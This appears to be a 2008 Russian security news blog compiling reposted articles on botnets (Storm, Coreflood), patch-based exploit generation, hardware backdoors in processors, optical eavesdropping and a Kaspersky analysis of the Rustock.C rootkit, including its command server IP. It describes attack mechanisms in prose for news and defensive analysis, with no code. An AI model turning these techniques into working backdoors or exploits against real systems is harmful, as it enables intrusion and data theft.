При тестовых испытаниях с перехватом реальной зашифрованной передачи программа верно выявляла и декодировала искомые фразы примерно в половине случаев. Результат, ясное дело, не очень впечатляющий, однако аккуратность метода подскакивала до 90%, если для поиска задавались длинные и сложные слова. Иначе говоря, эффективность подобной атаки намного выше, если перехватывается разговор профессионалов, насыщенный жаргонизмами. Как показывает анализ, в разговорах на профессиональном "диалекте" обычно много слов, которые сцепляются в длинные и относительно предсказуемые фразы. Что же касается неформальных звонков, то там набор выражений случаен, а потому значительно хуже поддается аналитическому декодированию. Впрочем, досужий треп обывателей шпионам неинтересен.

Компаний, предоставляющих услуги VoIP-шифрования при сжатии речи с переменным битрейтом, пока что не так много. Но в целом технология считается весьма перспективной и сулящей значительные выгоды. С точки зрения криптографов, однако, подобная схема компрессии применительно к интернет-телефонии - плохая идея. Самым простым решением проблемы могло бы стать разбиение речевого потока на пакеты равной длины, однако это неизбежно ухудшит степень сжатия. Что в очередной раз, увы, подтверждает давно известную истину: эффективность и безопасность - вещи практически несовместимые.

http://www.computerra.ru/think/kiwi/362826/

среда, июля 09, 2008

IT-Безопасность: Просмотр статистики обращений к почтовому ящику Gmail

Для тех, кто не на шутку обеспокоен информационной безопасностью при работе с сервисом Gmail, компания Google предусмотрела возможность просмотра пользователем статистики обращений к своему почтовому аккаунту.

Чтобы приоткрыть завесу тайны и заглянуть в лог-файл, хранящий список последних обращений к почтовому ящику, включая сведения об одновременно работающих пользователях под одним учётным именем, нужно зарегистрироваться в сервисе Gmail и затем, промотав окно браузера вниз, щёлкнуть мышью по ссылке "Подробная информация".

В результате произведённых действий откроется новое окно браузера, в котором будет представлена исчерпывающая информация о том, в какое время, с каких IP-адресов и при помощи каких инструментов (или протоколов) производились соединения с почтовым сервером Gmail. В случае обнаружения системой нескольких одновременных сессий, в окне статистики также будет отображена кнопка, нажатие которой деактивирует все сторонние сеансы с почтовой службой. Кстати сказать, наличие последних - явный признак того, что аккаунт Gmail, возможно, взломан и используется злоумышленниками, тайком просматривающими пользовательскую корреспонденцию. При выявлении таковых необходимо, не мешкая, сменить пароль доступа к Gmail и проверить компьютер на предмет наличия вирусов.

И последнее. Просмотреть статистику обращений к почтовому ящику Gmail в настоящий момент можно только в обозревателях Firefox и Internet Explorer 7.

В официальном блоге разработчики Gmail пишут, что система мониторинга предназначена для новой версии Gmail, она продолжает тестироваться и пока активирована не для всех аккаунтов.

computerra.ru

понедельник, июля 07, 2008

IT-Безопасность: Создатели Storm предприняли очередную попытку наращивания мощности ботнета


К Дню независимости Соединенных Штатов, отмечавшемуся 4 июля, киберпреступники приурочили очередную попытку увеличения числа компьютеров, подключенных к ботнету Storm. Первая информация о вредоносной программе Storm появилась в начале прошлого года. Буквально за неделю червь Storm инфицировал полтора миллиона компьютеров по всему миру, а к осени 2007 года, по различным оценкам, бот-сеть насчитывала до 50 миллионов машин. Количество же вариантов вредоносной программы, зафиксированных на протяжении прошлого года, исчисляется десятками тысяч. Создатели Storm регулярно пытаются укрепить ботнет, подключая к нему новые компьютеры. Для этого, как правило, пользователям интернета рассылаются письма с предложением скачать "крайне полезную" утилиту, посмотреть видеоролик или посетить интересный веб-сайт. Не стала исключение и атака, проведенная злоумышленниками в конце прошлой недели. Специалисты компании Sophos зафиксировали крупномасштабную рассылку электронных сообщений, в которых получателям предлагалось перейти на некий сайт, якобы содержащий файл с записью небывалого по своим масштабам праздничного фейерверка. Однако на самом деле вместо обещанного видеоролика пользователи, попавшиеся на удочку киберпреступников, получали комплект вредоносного ПО, превращающего компьютер в зомбированную машину. Кстати, некоторые эксперты в области компьютерной безопасности в создании сети Storm обвиняют Россию. Так, Дмитрий Альперович из компании Secure Computing полагает, что Storm - это дело рук группы злоумышленников, базирующейся в Санкт-Петербурге. Однако задержать лиц, ответственных за формирование ботнета, по словам Альперовича, не представляется возможным из-за отсутствия содействия со стороны российских правоохранительных органов.

uinc.ru

четверг, июля 03, 2008

IT-Безопасность: Новый троян заразил сотни тысяч компьютеров


Как сообщили эксперты по безопасности из компании SecureWorks, авторам нового трояна, получившего название Coreflood Trojan, удалось заразить сотни тысяч компьютеров, в том числе более 14’000 компьютеров одной неназванной международной сети отелей.

Для распространения новый троян использует встроенную в Windows утилиту, изначально предназначенную для администрирования в корпоративных сетях.

С момента выпуска обновления Service Pack 2 для Windows XP число вирусных эпидемий пошло на спад. Система XP SP2 с момента своего появления в 2004 казалась вполне защищенной платформой, но создатели Coreflood перевернули представления экспертов по безопасности. Чтобы заразить всю корпоративную сеть, злоумышленники сначала заставляют хотя бы одного пользователя обманом или другими способами загрузить и запустить зараженный файл. После этого дальнейшее заражение становится делом техники.

Троян на зараженном компьютере дожидается момента, пока на этом компьютере не зарегистрируется администратор – во время обслуживания или по какому-нибудь иному поводу. При наличии в локальной системе пользователя с правами администратора вирус пытается запустить встроенную утилиту PsExec. Эта утилита была создана компанией Microsoft для того, чтобы администраторы могли распространять и запускать проверенное программное обеспечение на удаленных компьютерах своей сети. Троян Coreflood использует утилиту PsExec для распространения собственных копий на всех доступных компьютерах сети.

За последние 16 месяцев по разным оценкам Coreflood заразил более 378 тысяч компьютеров в коммерческих, медицинских, государственных, образовательных и других учреждениях – например, 25 июня этого года центр SANS Internet Storm Center зафиксировал единовременное заражение 600 машин в сети из 3000 ПК.

Как рассказал автор программы PsExec Марк Руссинович (Mark Russinovich) из компании Microsoft, вредоносные программы пытаются использовать технологию PsExec на протяжении уже более 5 лет. Тем не менее, по его словам, это первый случай, когда PsExec используется именно таким образом. «PsExec не открывает злоумышленникам никаких дополнительных возможностей, которые бы они не могли реализовать сами или добиться другими средствами», - заявил Руссинович в своем интервью.

Эксперты предупреждают – сам троян Coreflood, также известный под названием AFcore Trojan, существует в разных вариантах уже почти 6 лет, но до последнего времени он целенаправленно использовался только для проведения распределенных атак на отказ в обслуживании. По мнению многих специалистов, для кражи паролей Coreflood не используется

securitylab.ru

пятница, июня 20, 2008

IT-Безопасность: KIS 2009 протестирован лабораторией AV-Comparatives


«Лаборатория Касперского» сообщает о первом тестировании новейшего решения для защиты домашних пользователей от всех видов информационных угроз, Kaspersky Internet Security (KIS) 2009, проведенном авторитетной австрийской тестовой лабораторией AV-Comparatives. По эффективности новый защитный комплекс на 47% превзошел показатели предыдущей версии продукта, а также со значительным отрывом опередил большинство конкурентов.

В результате проведенного тестирования Kaspersky Internet Security 2009 автоматически заблокировал (или рекомендовал пользователю заблокировать) около 68% неизвестных вредоносных программ. Данный показатель входит в тройку лучших результатов, продемонстрированных различными антивирусными решениями в ходе ретроспективного теста проактивной защиты, проведенного AV-Comparatives одновременно с тестированием KIS 2009.

Так как в новейшем решении «Лаборатории Касперского» для проактивного обнаружения вредоносных программ используются технологии, не имеющие аналогов у представленных в тесте конкурентов, авторы исследования сочли необходимым оценивать Kaspersky Internet Security 2009 за рамками общего теста. При этом уровень проактивного обнаружения вредоносных программ, продемонстрированный продуктом, значительно превзошел показатели, показанные в ретроспективном тесте продуктами таких компаний, как Symantec, McAfee и Microsoft, а также продуктами целого ряда менее крупных производителей, включая компании AVG, Norman, Eset и BitDefender.

В Kaspersky Internet Security 2009 помимо сигнатурного детектирования вредоносных программ, эвристического анализатора и поведенческого блокиратора реализован уникальный модуль фильтрации активности приложений, использующий технологию HIPS (Host-based Intrusion Prevention System). Он обеспечивает защиту системы от любых угроз – как уже существующих, так и еще неизвестных. Все неизвестные приложения подвергаются многофакторному анализу, на основе которого им присваивается определенный рейтинг опасности.

Решение Kaspersky Internet Security 2009 будет представлено на российском рынке в конце августа 2008 г. Пользователи предыдущей версии, Kaspersky Internet Security 7.0, смогут обновить ее бесплатно.

cnews.ru

вторник, июня 17, 2008

IT-Безопасность: Сезонное обострение хактивности

Из журнала "Компьютерра"
Сезонное обострение хактивности

Автор: Киви Берд
Опубликовано 17 июня 2008 года


Исторически сложилось так, что в майские дни - накануне летних сессий и отпусков - во всем мире проходит множество научных конференций, в том числе и по компьютерной безопасности. На сей раз май выдался необычно плодотворным на доклады по "хакерской" тематике. По-настоящему интересных, можно даже сказать, этапных работ опубликовано не меньше полудюжины. Мы расскажем лишь о трех из них: две были представлены на конференции IEEE по проблемам безопасности и приватности (IEEE Symposium on Security and Privacy), одна - на USENIX.

Автоматизация вредительства
Команда из четырех человек, работающих в разных университетах США, разработала технологию автоматической генерации кода атаки на такую уязвимость в ПО, которая заранее неизвестна, а вычисляется путем сличения исходной и пропатченной версий программы ["Automatic Patch-Based Exploit Generation" by David Brumley et al.].

Иначе говоря, инструкции для создания нового вредоносного кода предоставляет, по сути, сама программная заплатка, выпущенная с целью латания очередной дыры. Понятно, что в условиях открытых исходных кодов, где из дыр не делают тайны, а про всякий патч известно, что именно он латает, подобную разработку и приложить-то некуда. Но вот для платформ с закрытыми исходниками, вроде Windows, регулярно выпускать патчи, не объясняя, что они там лечат, - обычная и широко распространенная практика.

Разработанная ныне технология APEG (Automatic Patch-based Exploit Generation) позволяет за время от нескольких секунд до нескольких минут сгенерировать код атаки для большинства типов программных уязвимостей. По мнению разработчиков, это означает, что если корпорация Microsoft существенно не изменит способ распространения патчей среди клиентов, то последствия могут оказаться тяжелейшими. Ведь злоумышленники, заполучив в руки систему типа APEG, могут обнаружить уязвимость по свежевыпущенному патчу и провести атаку до того, как этот самый патч будет установлен на атакуемую машину.

Нельзя сказать, что APEG - принципиально новое слово в мире компьютерной безопасности - выявлением дыр по патчам, призванным их залатать, исследователи занимаются уже не первый год (см. врезку), но практически полностью автоматизировать этот процесс действительно удалось впервые. Для этого разработчики весьма своеобразно применили математические техники автоматического доказательства теорем и подтверждения корректности логики системы.


Патч как инструкция для злоумышленников
В 2005 году, когда корпорация Microsoft в очередной раз выдала публике скупую информацию о латании критической уязвимости в браузере Internet Explorer, специалист по обратной инженерной разработке Халвар Флэйк (Halvar Flake) решил выяснить, в чем там дело. Компания Флэйка SABRE Security разработала на продажу специальный аналитический инструмент BinDiff для выявления различий в бинарных кодах программ, исследователь продемонстрировал эффективность нового инструмента на примере сравнения исходной и пропатченной версии браузера Microsoft. Специфические отличия в версиях программ, указавшие на уязвимость в обработке графики формата PNG, были обнаружены и проанализированы меньше чем за двадцать минут. Конечно, столь впечатляющая скорость анализа не в последнюю очередь объясняется небольшими размерами PNG-патча, тем не менее демонстрация выглядела весьма эффектно и стала одним из первых наглядных примеров того, как код патча сам предоставляет информацию о скрытой в системе уязвимости.

После этой работы исследователи SABRE опубликовали еще несколько статей, где показали, как с помощью BinDiff по пакетам апдейтов Microsoft за несколько часов можно создавать вредоносные коды, эксплуатирующие разнообразные дыры в системе. Попутно выяснилось, что примерно тем же самым хакеры андеграунда занимались и прежде. Теперь же инструменты вроде BinDiff или функционально похожей программы IDA Pro с их дружественным пользовательским интерфейсом существенно раздвинули границы как технологии, так и круга лиц, владеющих подобным инструментарием.

В каком-то смысле можно говорить, что публикация патчей-заплат в их традиционной форме все больше становится похожа на выпуск инструкций по поиску неизвестных уязвимостей в закрытой системе.

Можно сказать, что алгоритм APEG работает как доказательство корректности системы, проводимое в обратную сторону. Сначала выявляются различия в исполняемых кодах программы до и после применения заплатки, а затем по ее коду анализируется, для чего она предназначена. Патчи безопасности обычно содержат тест, который определенным образом ограничивает допустимые значения на входе системы, но существует процедура из арсенала формального доказательства теорем, позволяющая пройти по коду и автоматически выявить набор входов, которые отлавливаются тестами нового патча. Когда это сделано, применяется специальный набор правил-эвристик для точной локализации места уязвимости, затем генерируется несколько вариантов кодов, потенциально способных эксплуатировать данную уязвимость, а тестовые испытания устанавливают, какой из кодов реально срабатывает.

Работоспособность APEG была проверена на пяти из недавних патчей Microsoft. После того как выявлялись различия в бинарных кодах исходной и пропатченной программ, системе требовалось от шести секунд до трех минут, чтобы сгенерировать вредоносный код, эксплуатирующий каждую из уязвимостей.

Строго говоря, нельзя утверждать, что APEG создает уже полностью готовые для реальной атаки средства. Не доказано и то, что технология универсальна, то есть может обнаруживать и использовать "в корыстных целях" любой тип уязвимостей. Тем не менее она показывает, что вредоносные коды на основе патчей действительно можно создавать очень быстро. А это значит, что Microsoft не предпринимает адекватных шагов для затруднения подобных атак (которые, повторим, не столь уж и новы). В качестве возможных шагов для улучшения ситуации с защитой разработчики APEG предлагают Microsoft несколько решений: искусственное "затемнение" кода патча командами-пустышками, шифрование патчей при рассылке с последующим распределением ключа для одновременной активации, использование пиринговых технологий для более быстрой повсеместной установки патчей.

Разумеется, ни одно из этих решений не устраняет проблему полностью, однако, по мнению ученых, делает ситуацию менее угрожающей.

Процессор враждебных намерений

Следующая работа - с майской конференции-се минара по крупномасштабным и новым компьютерным угрозам (USENIX workshop on Large-Scale Exploits and Emergent Threats [LEET]). Сотрудники Иллинойского университета (Урбана-Шампань) представили на удивление эффективный подход к добавлению аппаратных закладок в компьютеры общего назначения ["Designing and Implementing Malicious Hardware" by Samuel T. King et al.].

Исследователи показали, что внесения в схему процессора совсем небольшого (одна-две тысячи) числа элементов достаточно для обеспечения широкого спектра дистанционных атак, которые невозможно выявить или предотвратить с помощью традиционных софтверных подходов к безопасности. Правда, для проведения подобных атак требуется фундаментально скомпрометировать компьютеры на этапе их создания или сборки. Понятно, что злоумышленнику-одиночке это не по силам. Однако вполне по силам организованной преступности, не говоря уже о государственных спецслужбах.

Технически это выглядит так. Скрытые в процессоре вредоносные схемы обеспечивают атакующую сторону невидимым внутренним плацдармом для атак. Поскольку такие схемы занимают уровень, находящийся ниже стека программ, они способны обходить все традиционные техники защиты. Анализ подобных закладок только-только начинается, ограничиваясь случаями простейших троянцев. Более сложные схемы пока не исследованы, как и контрмеры, которые атакующая сторона может принимать для обхода предлагаемых форм защиты.

В работе ["Designing and Implementing Malicious Hardware" by Samuel T. King et al.] представлена общая конструкция и конкретные формы реализации так называемых IMPs (Illinois Malicious Processors, "иллинойских вредоносных процессоров"). Показано, что даже с учетом жестких ограничений по месту, его все равно достаточно для планирования разнообразных типов атак, а не одной узконаправленной. Такая гибкость схемы позволила разработчикам продемонстрировать две конкретные конструкции и реализовать их практически в конкретной системе FPGA-чипа, то есть процессора с перепрограммируемой логикой. Вот примеры, подтверждающие общую концепцию.

Эскалация привелегий. Используя механизм доступа к памяти, реализован вредоносный сервис, поднимающий привилегии пользовательского процесса до высшего (root) уровня. При выполнении такой атаки программа эскалации привилегий использует аппаратную закладку в процессоре для отключения защиты привилегированных областей памяти. Для реализации механизма доступа к памяти требуется увеличить число гейтов логики в процессоре меньше, чем на 0,05%. Он позволяет напрямую нарушать все предположения ОС относительно обеспечиваемой защиты памяти.

Входной бэкдор. Используя специально разработанный механизм теневого режима, разработчики реализовали вредоносный сервис, служащий постоянным "черным ходом" в систему. Чтобы начать атаку захвата, злоумышленник посылает сетевой пакет в систему жертвы, где ОС первым делом инспектирует этот пакет, проверяя контрольную сумму UDP. Сам акт проверки пакета (необходимый для принятия решения о том, следует ли его отвергнуть) запускает троянскую закладку в железе, а вредоносная программа интерпретирует содержимое пакета как новый код прошивки, который невидимо загружается в процессор. Операционная же система тем временем отбрасывает непрошеный пакет и продолжает работу, не заметив атаки.

Код прошивки, реализующий теневой режим, отслеживает login-приложение для входа в систему. И когда некто пытается войти с особым, заранее известным закладке паролем, та подменяетзначение функции проверки пароля на "правильный" и тем самым гарантирует доступ в систему любому, кто знает хитрость. Чтобы скрыть следы атаки, сразу после успешной попытки логина прошивка сама себя выгружает и отключает теневой режим, возвращая системе все ресурсы процессора. Таким образом, послав сетевой UDP-пакет и тут же войдя в систему, злоумышленник может сократить время работы теневого режима до минимума. Если же система жертвы не имеет выхода в сеть, то для включения закладки-бэкдора можно использовать похожий механизм на основе внешнего накопителя. Например, в USB-модуле флэш-памяти для этого подходит самый первый блок, необходимый для идентификации типа файловой системы. Механизм теневого режима увеличивает количество логических гейтов схемы всего на 0,08%, давая при этом неограниченный доступ к компьютеру без опоры на какие-либо программные уязвимости.



Оптический темпест
Побочные компрометирующие излучения в диапазоне видимого света можно именовать, по терминологии западных спецслужб, "оптическим темпестом" (словом "Tempest" в США и странах НАТО, начиная с 1950-х годов, стали называть утечки информации по побочным каналам). О том, применяются ли спецслужбами для шпионажа оптические темпест-устройства, сколь-нибудь достоверной информации нет (в отличие, скажем, от устройств электромагнитного радиодиапазона или особых акустических систем). Однако об открытых исследованиях академических институтов за последние годы опубликовано несколько весьма интересных работ, касающихся оптического темпеста.

Работающий в Кембридже немецкий ученый Маркус Кун в 2002 году показал, что имеется возможность с расстояния в несколько сотен метров восстанавливать картинку на экране телевизора или ЭЛТ-монитора по одному лишь мерцанию света в комнате. Куну для этого потребовались хорошая оптическая труба, качественный светочувствительный датчик и доскональное понимание тонкостей работы электроннолучевых трубок.

Примерно тогда же американский исследователь Джо Лоухри показал, что с помощью аналогичной техники - приличной оптики и светового сенсора - можно на расстоянии до полутора километров снимать данные с постоянно мигающих лампочек-индикаторов компьютерного оборудования. Например, в модемах, подключающих машину к сети, мигание светодиода соответствует битам проходящей через компьютер информации.

Похищение паролей. С помощью того же механизма теневого режима можно реализовать сервис, ворующий пароли доступа у легитимных пользователей системы. Главная трудность здесь - отыскание паролей в гигантских массивах случайных данных. Но и эта задача вполне разрешима, коль скоро в символьных строках кода, относящегося к записи и считыванию паролей, присутствует слово Password. В развитие этой же темы исследователи продемонстрировали и два существенно разных способа для скрытного слива похищенных паролей в сеть - как на уровне ОС, так и на уровне прямой модификации пакетов.

Подводя итог, иллинойские исследователи без ложной скромности отмечают, что им удалось заложить фундаментальные основы конструирования процессоров с аппаратными закладками, способными обеспечивать весьма сложные и продвинутые атаки для тех, кто владеет секретами конструкции. Сделано же это, по словам разработчиков, дабы продемонстрировать, что при нынешней организации поставок микросхем заказчикам имеются все предпосылки для злоупотреблений. То есть заинтересованные структуры, обладающие компетентными специалистами и надлежащими ресурсами, вполне способны разрабатывать и внедрять вредоносные микросхемы с аппаратными закладками.

Ученые наглядно продемонстрировали, что для закладок, несущих серьезную угрозу, требуется на удивление мало места в общей схеме, что чрезвычайно затрудняет их выявление. Для login-атаки, к примеру, потребовалось всего 1340 гейтов, а в результате злоумышленник получает полный высокоуровневый доступ к компьютеру. Причем та же самая аппаратная база способна поддерживать широкий спектр разных атак и достаточно гибка для динамических модификаций функциональности. В целом же, по мнению авторов работы, злонамеренные процессоры оказываются более практичны, гибки и более трудны для выявления, чем можно было предположить при начальном анализе проблемы. Иначе говоря, вредоносные аппаратные закладки явно заслуживают пристального внимания и тщательного изучения.

Компрометирующие отражения, или от чайника до телескопа

Группа исследователей из Саарландского университета (Саарбрюккен, Германия) представила работу ["Compromising Reflections or How to Read LCD Monitors Around the Corner" by M. Backes et al.], достойную увековечивания в каком-нибудь шпионском триллере. С помощью свободно доступного оборудования ученые продемонстрировали, что картинку с компьютерных дисплеев можно считывать по крошечным отражениям в столь обыденных предметах, как очки, чайники, ложки, пластиковые бутылки и даже по отражению в глазу человека. Единственное, по сути, что для этого требуется, - современный телескоп. Чем он мощнее и дороже, тем больше расстояние, с которого возможен столь экзотический метод шпионажа.

Как рассказывают участники проекта, эта идея родилась случайно, в один из погожих летних дней прошлого года, во время послеобеденной прогулки по университетскому кампусу. Кто-то обратил внимание, как много компьютеров работает за окнами окружающих домов и как было бы круто вот так, мимоходом, заглянуть в монитор каждого из них и посмотреть, кто чем занимается.

Начав исследование забавы ради, ученые обнаружили, что отражения, порождаемые окружающими дисплей предметами, могут давать на удивление четкую картинку. Для съемки же ее потребовался сравнительно дешевый, пятисотдолларовый телескоп с ПЗС-матрицей, настроенный на регистрацию отражений.

С таким оборудованием, к примеру, на расстоянии около пяти метров по отражению на чайнике удалось получить вполне читаемое изображение текстового документа Word с размером шрифта 12 точек. При вдвое большем расстоянии размер все еще различимых букв составил 18 точек. Ну а когда через знакомых астрономов удалось раздобыть телескоп помощнее, модель Dobson за 27,5 тысячи долларов, то картинки-отражениявполне приличного для чтения качества стало возможным получать и при тридцатиметровом удалении.

С подобными результатами уже можно говорить о разработке нового метода добычи информации по компрометирующим оптическим излучениям. Так, находясь в соседнем здании, шпион в принципе способен скрытно считывать информацию с компьютера, дисплей которого стоит "спиной" к окну. По свидетельству разработчиков, они уже продемонстрировали свою технологию одной из германских спецслужб. Что за этим последует, никто толком не знает, но результаты демонстрации специалисты признали вполне убедительными.

Впрочем, говоря о шпионских разработках "нового" канала утечки информации, надо подчеркнуть и его существенное отличие от других разновидностей компрометирующих побочных излучений. В данном случае прекрасно известны и легко осуществимы эффективные методы защиты от утечек. Ибо здесь достаточно лишь задернуть шторы или опустить жалюзи на окнах.

Источник

суббота, июня 07, 2008

IT-Безопасность: Rustock.С



«Неуловимый» руткит



В декабре 2006 года в некоторых кругах исследователей проблемы руткитов (как blackhat, так и whitehat) стали циркулировать слухи о том, что кем-то создан и выпущен в свет «абсолютно неуловимый руткит» - Rustock.С, - который при активном заражении не способно обнаружить ни одно из существующих антивирусных или антируткит-решений.

Длительные поиски «мифического руткита» не увенчались успехом. Это привело к тому, что любая информация о «Rustock.С» стала восприниматься в околоисследовательских кругах как шутка. Так продолжалось вплоть до мая 2008 года.


Диагноз «Доктора»


В начале мая российская компания DrWeb заявила антивирусной общественности, что ее специалистами был обнаружен руткит Ntldrbot, он же Rustock.С. Новость столь же неприятная, сколь и сенсационная.
Согласно заявлению представителей DrWeb, этот руткит с октября 2007 года оставался неуловимым для всех антивирусных компаний. Выдвигалось предположение, что при помощи Rustock.C была создана одна из самых мощных на сегодняшний момент зомби-сетей, предназначенная для спам-рассылок. Приводились и ссылки на результаты исследования компании Secure Works, согласно которым бот-сеть, созданная Rustock, стоит на третьем месте среди крупнейших бот-сетей и способна рассылать ежедневно до 30 миллиардов спам-сообщений. Однако вряд ли оценки Secure Works могли иметь какое-либо отношение к найденному руткиту, поскольку он фактически был неизвестен до мая 2008 года. Скорее всего, эксперты Secure Works имели в виду сеть, созданную ранними вариантами Rustock – А и B (по классификации «Лаборатории Касперского» - Costrat и SpamTool.Win32.Mailbot).
Судя по опубликованной DrWeb информации, образец настоящего Rustock.С попал в руки специалистов компании в конце марта 2008 года, а на анализ кода руткита, создание и выпуск средств его детектирования и лечения им потребовалось более месяца. Только после этого о находке были извещены и другие антивирусные компании.
В описании руткита, сделанном DrWeb, оставалось слишком много белых пятен. И, в первую очередь, было абсолютно непонятно, каким способом и когда распространялся этот руткит и почему с октября 2007 года он не был никем обнаружен.
Образец тела руткита, распространенный сотрудниками DrWeb, представлял собой драйвер операционной системы Windows размером 244 448 байт.
К сожалению, отсутствовал так называемый «дроппер» - файл, который производит установку руткита в систему. Он мог бы значительно облегчить работу других антивирусных лабораторий при анализе и добавлении собственных процедур обнаружения и лечения Rustock.С, а также помог бы ответить на вопрос о способах изначального распространения руткита.
Отсутствовала также какая бы то ни было достоверная информация о наличии данного руткита «в дикой природе». Оставалась вероятность того, что Rustock.С является исключительно «коллекционной» разработкой и не имеет широкого распространения в мире – в таком случае был бы оправдан столь долгий период его поисков.



Лабораторный анализ


«Лаборатория Касперского» приступила к детальному анализу кода руткита 12 мая. Задача, стоявшая перед нашими экспертами, была действительно сложной. Код руткита был полностью зашифрован неизвестным способом и не поддавался обычным методам анализа упакованного кода и эмуляции. Проблема осложнялась еще и тем, что каждый файл руткита имел некую привязку к аппаратной части зараженного компьютера и не мог быть запущен и проанализирован на других компьютерах и виртуальных машинах.

Однако нашим специалистам удалось за два дня справиться с этими сложностями и, подобрав «ключ», расшифровать значительную часть тела руткита. Вечером 14 мая нам открылись участки настоящего кода Rustock.С.



Параллельно с решением этой сложной технической проблемы мы предпринимали попытки обнаружить файл, который устанавливал руткит в систему. Его наличие позволило бы не только значительно ускорить процесс анализа, но и установить источники распространения Rustock.С.

В результате проведенного исследования нами было обнаружено 599 файлов Rustock.С. Часть их представляла собой так называемое «чистое тело» руткита, а часть являлась зараженными системными драйверами. Фактически все файлы были результатом полиморфного изменения одного и того же кода.

Когда был создан руткит


Итак, у нас было шесть сотен файлов, которые отличались размерами и датами поступления в наши ловушки-сборщики файлов. Все найденные файлы попали в ловушки в период с 10 сентября 2007 года по 14 мая 2008 года. Забегая вперед, скажу, что в итоге ни одного образца Rustock.С, созданного ранее сентября 2007 года, нами так и не было обнаружено. Не исключено, что до этого момента действительно могли появляться какие-то более ранние его варианты - тестовые разработки и «пробы пера» автора. Но то, что DrWeb окрестил Ntldrbot, имеет совершенно четкую дату рождения – сентябрь 2007 года.

Как же быть с пресловутыми слухами о Rustock.С, относящимися еще к концу 2006 года? Мы считаем, что в то время никакого Rustock.С не существовало. Он был создан уже после своеобразного пиара в кругах исследователей руткитов – возможно, как реакция на истерию с его поисками. Косвенно этот вывод может подтверждаться и тем фактом, что в код руткита вписано имя вредоносной программы – «Rustock.С», что не соответствует тому названию, которое ранее автор давал вариантам Rustock.A и B («spambot» и номера версий). Название «Rustock» было дано компанией Symantec первым вариантам руткита, датированным 2005 и 2006 годами. Именно оно было принято в среде исследователей проблемы руткитов, и по аналогии с уже известными ранее вариантами Rustock.A и .B «неуловимый» руткит именовался Rustock.С. Так что назвать свой новый руткит именно так автор мог в подтверждение слухов о его существовании.

Так или иначе, первые «рабочие» образцы Rustock.С появились в сентябре 2007 года, а его разработка, очевидно, началась за несколько месяцев до этого.

Модификации


Анализ 599 файлов выявил много интересных деталей, которые ранее не были известны.

Нами было выделено 4 модификации Rustock.С.

Вариант С1 — мы датируем его создание 10-м сентября 2007 года. «Чистое тело» руткита имеет размер 244 440 — 244 512 байт и содержит драйвер и DLL. Именно эта модификация была исследована специалистами DrWeb и представлена другим антивирусным компаниям.

Вариант С2 относится к 26 сентября. Имеет размер 158 432 — 158 464 байт.

Варианты C3 и С4 относятся к 9-10 октября 2007 года. Их размер варьирует в пределах 158 400 — 158 496 байт.

Несмотря на то, что модификация С1 отличается от последующих почти на 100кб, принципиальных различий между ними нет. Автор лишь несколько оптимизировал алгоритм обфускации тела руткита. Все варианты имеют незначительные отличия, касающиеся изменений в коде DLL (спам-бота).

Спам-бот


В течение пяти дней мы проводили анализ руткита: руткит был полностью распакован и запущен на виртуальных машинах (несмотря на отсутствие у нас «дроппера»). Это позволило получить доступ и к коду DLL (спам-бота), обеспечение существования и защита которой является основной целью Rustock.С.



В ходе своей работы руткит извлекает DLL из себя и исполняет ее в системной памяти, внедряя в процесс winlogon.exe. Эта DLL никогда не существует в виде файла на диске и присутствует только в памяти компьютера. Ее задача – рассылка спама с зараженного компьютера. Для выполнения этой задачи она обращается к серверу 208.66.194.215 и получает оттуда шаблоны писем для рассылки. IP-адрес принадлежит американскому хостинг-провайдеру MCCOLO, на ресурсах которого уже довольно давно размещаются и вредоносные программы, и сайты киберпреступных группировок.

Детектирование и лечение


Несмотря на примененные автором средства защиты тела Rustock.С (протектор, криптор, ключ шифрования), с точки зрения добавления детектирования данного руткита в антивирусные базы «Лаборатории Касперского» не было никаких проблем. Складывается впечатление, что автор был настолько уверен в эффективности шифрования своего творения, что не придавал большого значения методам противодействия антивирусным продуктам. Его целью было максимально осложнить и отсрочить анализ кода (как антивирусными компаниями, так и представителями вирусописательских кругов) — именно на это были нацелены все крипто-технологии руткита.

Чуть сложнее обстоит дело с лечением зараженных руткитом системных файлов. Принцип действия руткита основан на заражении только драйверов Windows, созданных Microsoft и загружающихся при старте операционной системы. Именно таким образом руткит получал управление и успешно скрывал свое присутствие в системе. Оригинальный зараженный драйвер хранился в последней секции тела руткита и также был зашифрован.

Алгоритм, которым руткит шифровал тело зараженного драйвера, оказался довольно простым и не зависел от аппаратной части зараженного компьютера. Это позволило нам реализовать детектирование и полноценное лечение зараженных файлов.

Руткит был классифицирован как Virus.Win32.Rustock.a. Именно как вирус — поскольку Rustock является полноценным файловым вирусом, работающим в режиме ядра операционной системы.

Процедуры детектирования и лечения зараженных файлов были выпущены «Лабораторией Касперского» 20 мая 2008 года (через 8 дней после начала исследования).

Возможность детектирования активного руткита в зараженной системе и лечения зараженных файлов полностью реализована в новой версии нашего антивируса — KAV\KIS 2009. Пользователи других версий могут проверить свои компьютеры на наличие Rustock при помощи Rescue Disk с любой версией нашего антивируса. Они также могут обнаружить и вылечить подозрительные файлы при отсутствии активного заражения.


Вопросы и ответы


Казалось бы, задача решена – руткит повержен, и его жертвы получили надежное решение для выявления и устранения проблемы. Однако по-прежнему оставались открытыми главные вопросы: как распространялся Rustock, и действительно ли он существует «в дикой природе»? Найти ответы на эти вопросы и расставить все точки над i было для нас делом чести.


Распространение Rustock


В течение нескольких дней все имеющиеся у нас самплы руткита подвергались детальному анализу на предмет установления их «аппаратных настроек». Это могло дать хотя бы приблизительное представление о масштабах распространения Rustock. Все данные сопоставлялись с датами обнаружения самплов.

Выяснилось, что 590 из 599 самплов попали в наши ловушки с 10 сентября по 23 ноября 2007 года. И только 9 — в период с 23 ноября 2007 года до середины мая 2008 года.

Эта статистика использовалась для сужения объектов поиска и выстраивания зависимостей между файлами и известными нам четырьмя модификациям руткита.

Картина получилась следующая:
ВариантыДата обнаруженияПериоды появленияКоличество файлов
C110.09.200710-13 сентября 2007 года321
C226.09.200727 сентября — 9 октября 2007 года;
12 ноября — 22 ноября 2007
199
C39-10 октября 20079-17 октября 2007 года;
12 ноября — 22 ноября 2007
31
C49-10 октября 20079-17 октября 2007 года;
12 ноября — 22 ноября 2007
48

С 17 октября по 12 ноября 2007 года не было зафиксировано ни одного случая появления Rustock. Однако с 12 ноября по 22 ноября отмечен новый всплеск активности, причем в основном относящийся именно к варианту C2 (от 26 сентября) с незначительными добавлениями вариантов C3 и C4.

С 23 ноября 2007 года наступает долгий, на несколько месяцев, период затишья (или «смерти»?) Rustock.

Данные были весьма интересны, но масштабы и способы распространения Rustock по-прежнему оставались неизвестными. Несмотря на все усилия, так и не был обнаружен «дроппер» руткита.

